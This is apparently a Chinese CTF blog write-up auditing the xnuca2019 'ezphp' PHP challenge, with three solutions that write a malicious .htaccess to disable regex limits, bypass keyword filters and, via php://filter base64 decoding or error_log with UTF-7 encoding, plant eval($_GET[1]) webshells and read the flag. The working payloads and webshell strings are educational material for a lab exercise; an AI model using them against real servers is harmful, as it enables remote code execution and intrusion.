代码审计

<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) { 👈
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?>
  1. 删除当前目录除了index.php以外所有文件
  2. 包含fl3g.php,访问后可以发现此文件不存在
  3. content经过stristr不能含有on, html, type, flag, upload, file
  4. filename经过preg_match只能含有[a-z.]
  5. 删除当前目录除了index.php以外所有文件
  6. 写入内容为content名为filename的文件

解题一

根据之前所写文章,可以通过修改Apache配置使得preg_match失效

👇构造payload,结尾要用\处理content中的\n,不然违背.htaccess书写格式会导致Apache运行崩溃

?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&filename=.htaccess

截屏2020-08-23 下午11.21.03

没有preg_match的waf后就可以通过php://filter伪协议写入一句话

截屏2020-08-23 下午11.14.43

cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3BocCBldmFsKCRfR0VUWzFdKTs/Plw= 👈 注意这个=

‼️这里有个重要的注意事项

由于$content的结尾还有"\nJust one chance"污染字符串,所以需要被base64解码的整体字符串👇

cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3BocCBldmFsKCRfR0VUWzFdKTs/Plw=\nJust one chance

这就要注意到=base64中是用于作为后缀起到填充作用的,但很明显这个字符串中=并不位于结尾,所以通过php://filter进行解码会报错

👇一个简单的测试,此时tmp.php文件为空

截屏2020-08-24 上午10.05.34

删除==,写入成功

截屏2020-08-24 上午10.07.39

网上很多人对此题的处理都是通过加字符填充处理,但并没对其操作的原理进行了解;学习还是应该刨根问底

不过在base64_decode中的字符串中间有=并不影响结果

截屏2020-08-24 上午10.11.49

有了这个基础再构造最终的payload

?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3BocCBldmFsKCRfR0VUWzFdKTs/Plw&1=phpinfo(); 👈 此时已经删除=

截屏2020-08-24 上午10.13.33

解题二

利用之前学习的绕过关键字检测直接绕过对于$content的waf

?filename=.htaccess&content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23<?php%20system('cat%20/fl[a]g');?>\

截屏2020-08-24 上午10.24.30

截屏2020-08-24 上午10.24.50

❗️构造的payload要连续访问两次;第一次为载入内存,第二次才是执行

解题三

这种解题方法才是官方的正解,还是很有水平的

注意到源码包含不存在的文件fl3g.php,意图肯定是想让我们向其中写入一句话之后利用文件包含getshell;但直接写入后会发现题目环境不解析/var/www/html中除index.php以外的php文件

截屏2020-08-24 上午10.39.30

查阅php.ini配置选项列表了解符合条件的可用配置👇

截屏2020-08-24 上午11.47.59

截屏2020-08-24 上午11.52.57

❗️注意事项:error_log写入的内容默认经过htmlentities;会对html标签进行转义;可以用之前学过的UTF-7编码绕过

利用error_log写入报错信息到/tmp/fl3g.php,,报错通过include_path包含错误路径触发;再设置include_path=/tmp即可让index.php能够包含fl3g.php

👇编写payload写入UFT-7编码的一句话

php_value error_log /tmp/fl3g.php
php_value include_path "+ADw?php eval($_GET[1])+ADs +AF8AXw-halt+AF8-compiler()+ADs" 👈 也可以用?>闭合
# \
?filename=.htaccess&content=php_value+error_log+%2ftmp%2ffl3g.php%0aphp_value+include_path+%22%2bADw%3fphp+eval(%24_GET%5b1%5d)%2bADs+%2bAF8AXw-halt%2bAF8-compiler()%2bADs%22%0a%23+%5c

👇编辑payload解码后包含一句话文件

php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
php_value+include_path+%22%2ftmp%22%0aphp_value+zend.multibyte+1%0aphp_value+zend.script_encoding+%22UTF-7%22%0a%23+%5c

截屏2020-08-24 下午12.01.54

补充说明

如果直接传参?filename=index.php&content=<?php phpinfo();?>很显然是不可以的,会报错 failed to open stream: Permission denied,权限不够

吐槽一下

真的吐了;这阵子一直在打比赛和调试环境中度过,搞的这个博客从18号一直拖到24号;自己也是菜的真实,打题打的人都傻了

这道题细节是真的多,就算明白方法,操作上也有可能一不小心产生失误

此篇文章之前关于.htaccess运行机制的解释错误,感谢0xcccccc师傅的斧正

Reference

从xnuca2019-ezphp深入学习.htaccess